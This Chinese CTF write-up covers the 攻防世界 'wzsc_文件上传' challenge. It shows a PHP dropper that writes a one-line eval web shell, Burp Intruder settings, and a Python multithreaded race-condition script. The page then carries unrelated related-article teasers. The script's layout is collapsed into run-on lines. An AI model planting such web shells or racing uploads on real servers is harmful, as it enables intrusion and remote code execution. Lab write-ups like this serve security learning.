114,【6】攻防世界 web wzsc_文件上传

进入靶场
传个桌面有的
直接空白了
我们
访问一下上传的东西
/index

没显示用于解析的.htaccess和.user.ini 文件,还两个都不显示
.htaccess 和 .user.ini 文件分别用于 Apache 服务器和 PHP-FPM 环境的目录级配置
但上传的时候bp查看状态码是200,意味着上传成功了
别的博主说这是服务器在短时间内就立刻将其删掉了,需要采取条件竞争,我们需要抢在它删除之前访问文件并生成一句话木马文件,所以访问包的线程需要大于上传包的线程。大量的线程用于访问缓存数据,能够快速地从缓存中获取数据
这需要bp来实现(我勒个豆,bp这么高级)
文件名
1.php
文件内容
<?php fputs(fopen("shell.php", "w"), '<?php @eval($_POST["shell"]); ?>'); ?>
- 此 PHP 代码的作用是创建一个名为
shell.php的文件。- 并将
<?php @eval($_POST["shell"]); ?>写入该文件。@eval($_POST["shell"]);这部分代码会执行通过 POST 请求传递给shell.php的任意 PHP 代码
上传时抓包发到intruder
点击右边的资源池
右键名称处会自动填写,再设置最大请求数

还需要将攻击荷载设置为空

但是我这块设置不了,为空的时候,右边的payload那块就是空的,类型和无限重复就设置不了
所以勾选了一个影响不大的东西,这里勾选的东西需要确保置换为空时不产生影响的
上一步实现后,运用大佬的脚本创造shell.php
import requests
import threading
import os# 定义一个继承自 threading.Thread 的类 RaceCondition,用于模拟竞争条件下的文件上传和访问操作
class RaceCondition(threading.Thread):def __init__(self):# 调用父类 threading.Thread 的构造函数进行初始化threading.Thread.__init__(self)# 定义要访问的 URL,这里省略了具体的 URL,实际使用时需要补充完整self.url = '。。。。。。。。。。。。。。'# 定义上传文件的 URL,这里是上传到 shell.php 的地址self.uploadUrl = '。。。。。。。。。。upload/shell.php'# 定义一个私有方法 _get,用于尝试访问已上传的文件def _get(self):# 打印提示信息,表示正在尝试调用已上传的文件print('try to call uploaded file...')# 使用 requests 库发送 GET 请求到指定的 URLr = requests.get(self.url)# 检查响应的状态码是否为 200(表示请求成功)if r.status_code == 200:# 如果请求成功,打印成功信息print('[*] create file shell.php success.')# 退出整个 Python 程序os._exit(0)# 定义一个私有方法 _upload,用于上传文件def _upload(self):# 打印提示信息,表示正在上传文件print('upload file...')# 使用 requests 库发送 GET 请求到上传文件的 URLrs = requests.get(self.uploadUrl)# 检查响应的状态码是否为 200(表示请求成功)if rs.status_code == 200:# 如果请求成功,打印成功信息print('[*] create file shell.php success.')# 退出整个 Python 程序os._exit(0)# 定义线程的运行方法,当线程启动时会自动调用该方法def run(self):while True:# 循环 5 次,调用 _get 方法尝试访问已上传的文件for i in range(5):self._get()# 循环 10 次,每次先调用 _upload 方法上传文件,然后再调用 _get 方法尝试访问已上传的文件for i in range(10):self._upload()self._get()if __name__ == '__main__':# 定义要创建的线程数量为 50threads = 50# 循环创建指定数量的线程实例,并启动这些线程for i in range(threads):# 创建一个 RaceCondition 类的实例t = RaceCondition()# 启动线程t.start()# 循环等待所有线程执行完毕for i in range(threads):# 调用线程的 join 方法,等待线程执行结束t.join()
最后访问upload发现上传成功时,用蚂剑连接即可,密码就是shell


终于做出来了
相关文章:
114,【6】攻防世界 web wzsc_文件上传
进入靶场 传个桌面有的 直接空白了 我们 访问一下上传的东西 /index 没显示用于解析的.htaccess和.user.ini 文件,还两个都不显示 .htaccess 和 .user.ini 文件分别用于 Apache 服务器和 PHP-FPM 环境的目录级配置 但上传的时候bp查看状态码是200,…...
【Kubernetes的SpringCloud最佳实践】有Service是否还需要Eureka?
在 Kubernetes 中部署 Spring Cloud 微服务时,是否还需要 Eureka 取决于具体场景和架构设计。以下是详细的实践建议和结论: 1. Kubernetes 原生服务发现 vs Eureka Kubernetes 自身提供了完善的服务发现机制(通过 Service 资源)&…...
SQL最佳实践(笔记)
写在前面: 之前baeldung的Java Weekly Reviews里面推荐了一篇关于SQL优化的文章,正好最近在学习数据库相关知识,记一些学习笔记 原文地址:SQL Best Practices Every Java Engineer Must Know 1. 使用索引 使用索引…...
vue3学习四
七 标签ref属性 设置标签ref属性,类似于设置标签id。 普通标签 <template name"test4"> <p ref"title" id"title" click"showinfo">VIEW4</p> <View3/><script lang"ts" setup>…...
C# LiteDB 使用教程
一、引言 在软件开发中,数据存储和管理是至关重要的一环。对于小型项目或者对性能和便捷性有较高要求的场景,传统的大型数据库可能显得过于笨重。而 LiteDB 作为一款轻量级的嵌入式 NoSQL 数据库,为开发者提供了一个简洁、高效的解决方案。它…...
Python Pandas(3):DataFrame
1 介绍 DataFrame 是 Pandas 中的另一个核心数据结构,类似于一个二维的表格或数据库中的数据表。它含有一组有序的列,每列可以是不同的值类型(数值、字符串、布尔型值)。DataFrame 既有行索引也有列索引,它可以被看做由…...
使用通义灵码 ai编程 来提高开发效率
1、我们先新建一个Hello,world的vue3项目(快速上手 | Vue.js) 创建好以后,运行以下界面: about界面如下,现在我们让灵码给我们修改一下这个字体的颜色及加点其它的样式: 2、先选中样式…...
【OpenCV】入门教学
🏠大家好,我是Yui_💬 🍑如果文章知识点有错误的地方,请指正!和大家一起学习,一起进步👀 🚀如有不懂,可以随时向我提问,我会全力讲解~ ὒ…...
大数据项目4:基于spark的智慧交通项目设计与实现
项目概述 项目直达 www.baiyuntu.com 随着交通数据的快速增长,传统的交通管理方式已无法满足现代城市的需求。交通大数据分析系统通过整合各类交通数据,利用大数据技术解决交通瓶颈问题,提升交通管理效率。本项目旨在通过大数据技术&#…...
netcore openTelemetry+prometheus+grafana
一、netcore项目 二、openTelemetry 三、prometheus 四、grafana添加Dashborad aspire/src/Grafana/dashboards at main dotnet/aspire GitHub 导入:aspnetcore.json和aspnetcore-endpoint.json 效果:...
Spring Boot接入Deep Seek的API
1,首先进入deepseek的官网:DeepSeek | 深度求索,单击右上角的API开放平台。 2,单击API keys,创建一个API,创建完成务必复制!!不然关掉之后会看不看api key!!&…...
Git、Github和Gitee完整讲解:丛基础到进阶功能
第一部分:Git 是什么? 比喻:Git就像是一本“时光机日记本” 每一段代码的改动,Git都会帮你记录下来,像是在写日记。如果出现问题或者想查看之前的版本,Git可以带你“穿越回过去”,找到任意时间…...
MyBatis的工作流程是怎样的?
大家好,我是锋哥。今天分享关于【MyBatis的工作流程是怎样的?】面试题。希望对大家有帮助; MyBatis的工作流程是怎样的? 1000道 互联网大厂Java工程师 精选面试题-Java资源分享网 MyBatis 的工作流程可以分为几个主要的步骤&…...
Maven 安装配置(完整教程)
文章目录 一、Maven 简介二、下载 Maven三、配置 Maven3.1 配置环境变量3.2 Maven 配置3.3 IDEA 配置 四、结语 一、Maven 简介 Maven 是一个基于项目对象模型(POM)的项目管理和自动化构建工具。它主要服务于 Java 平台,但也支持其他编程语言…...
分享如何通过Mq、Redis、XxlJob实现算法任务的异步解耦调度
一、背景 1.1 产品简介 基于大模型塔斯,整合传统的多项能力(NLP、OCR、CV等),构建以场景为中心的新型智能文档平台。通过文档审阅,实现结构化、半结构化和非结构化文档的信息获取、处理及审核,同时基于大…...
发布:大彩科技DN系列2.8寸高性价比串口屏发布!
一、产品介绍 该产品是一款2.8寸的工业组态串口屏,采用2.8寸液晶屏,分辨率为240*320,支持电阻触摸、电容触摸、无触摸。可播放动画,带蜂鸣器,默认为RS232通讯电平,用户短接屏幕PCB上J5短接点即可切换为TTL电…...
集合类不安全问题
ArrayList不是线程安全类,在多线程同时写的情况下,会抛出java.util.ConcurrentModificationException异常 解决办法: 1.使用Vector(ArrayList所有方法加synchronized,太重) 2.使用Collections.synchronized…...
【基于SprintBoot+Mybatis+Mysql】电脑商城项目之上传头像和新增收货地址
🧸安清h:个人主页 🎥个人专栏:【Spring篇】【计算机网络】【Mybatis篇】 🚦作者简介:一个有趣爱睡觉的intp,期待和更多人分享自己所学知识的真诚大学生。 目录 🚀1.上传头像 -持久…...
AI知识库和全文检索的区别
1、AI知识库的作用 AI知识库是基于人工智能技术构建的智能系统,能够理解、推理和生成信息。它的核心作用包括: 1.1 语义理解 自然语言处理(NLP):AI知识库能够理解用户查询的语义,而不仅仅是关键词匹配。 …...
20240817 联想 笔试
文章目录 1、选择题1.11.21.31.41.51.61.71.81.91.101.111.121.131.141.151.161.171.181.191.202、编程题2.12.2岗位:Linux开发工程师 题型:20 道选择题,2 道编程题 1、选择题 1.1 有如下程序,程序运行的结果为 (D) #include <stdio.h>int main() {int k = 3...
2025年深度评测:掌握Liebling主题,解锁Ghost博客的现代设计潜力
2025年深度评测:掌握Liebling主题,解锁Ghost博客的现代设计潜力 【免费下载链接】liebling Beautiful and clean Ghost theme that is easy and comfortable to use. To get the latest version please head over the releases page 👉&#…...
别怕C++!手把手拆解TinyML测试框架:用micro_test.h给你的嵌入式AI代码加个‘保险丝’
嵌入式AI开发者的测试实战指南:用micro_test.h构建TinyML质量防线 在资源受限的微控制器上开发AI应用时,一个被反复验证的真理是:没有自动化测试的代码就像没有安全网的走钢丝。当你的神经网络模型需要在仅有几KB内存的设备上运行时ÿ…...
FPGA新手避雷指南:你的第一个呼吸灯项目可能卡在这几个Vivado仿真和引脚分配问题上
FPGA新手避雷指南:从仿真到引脚分配的完整呼吸灯实战 第一次在FPGA上实现呼吸灯效果,本该是充满成就感的时刻。但当你按照教程一步步操作,点击"Generate Bitstream"后,板子上的LED却毫无反应——这种挫败感我太熟悉了。…...
LPDDR4X引脚功能详解:从CK到DQS,这些信号线你都用对了吗?
LPDDR4X引脚功能深度解析:信号完整性设计与实战避坑指南 在移动设备和高性能嵌入式系统中,LPDDR4X内存已成为主流选择。但许多硬件工程师在实际设计中常陷入"信号连通即可"的误区,导致系统稳定性问题频发。本文将带您深入理解每个…...
北京联通IPTV组播配置实战:OpenWRT与udpxy的完美结合
1. 为什么需要OpenWRTudpxy方案 家里换了新电视后,突然想把闲置的北京联通IPTV利用起来。传统机顶盒接线麻烦不说,还占用了宝贵的HDMI接口。经过实测,用OpenWRT路由器配合udpxy插件转换组播信号,才是真正的"一劳永逸"解…...
QMCDecode:让音乐自由播放的开源格式转换工具
QMCDecode:让音乐自由播放的开源格式转换工具 【免费下载链接】QMCDecode QQ音乐QMC格式转换为普通格式(qmcflac转flac,qmc0,qmc3转mp3, mflac,mflac0等转flac),仅支持macOS,可自动识别到QQ音乐下载目录,默认转换结果存…...
IndexTTS 2.0优化指南:如何选择参考音频,获得最佳克隆效果
IndexTTS 2.0优化指南:如何选择参考音频,获得最佳克隆效果 1. 引言:为什么参考音频如此重要? 在语音合成领域,参考音频就像是一把钥匙,决定了最终生成声音的质量和相似度。IndexTTS 2.0作为一款零样本音色…...
EmuELEC 3.9 vs 4.0+:不同版本写入EMMC的详细操作指南(附常见问题解决)
EmuELEC 3.9与4.0版本EMMC写入全流程实战解析 1. 版本差异与核心机制解析 EmuELEC作为开源游戏系统,其3.9与4.0版本在EMMC写入机制上存在根本性架构差异。理解这些差异是避免操作失误的前提。 3.9版本的技术特点: 采用传统的installtointernal.sh脚本…...
3步精通Path of Building PoE2:流放之路2玩家的角色规划零门槛指南
3步精通Path of Building PoE2:流放之路2玩家的角色规划零门槛指南 【免费下载链接】PathOfBuilding-PoE2 项目地址: https://gitcode.com/GitHub_Trending/pa/PathOfBuilding-PoE2 你是否曾在《流放之路2》中遭遇这样的困境:投入数十小时培养的…...
企业级低代码平台JeecgBoot快速搭建指南:从环境配置到实战应用
企业级低代码平台JeecgBoot快速搭建指南:从环境配置到实战应用 【免费下载链接】jeecg-boot 一款 AI 驱动的低代码平台,提供"零代码"与"代码生成"双模式——零代码模式一句话搭建系统,代码生成模式自动输出前后端代码与建…...
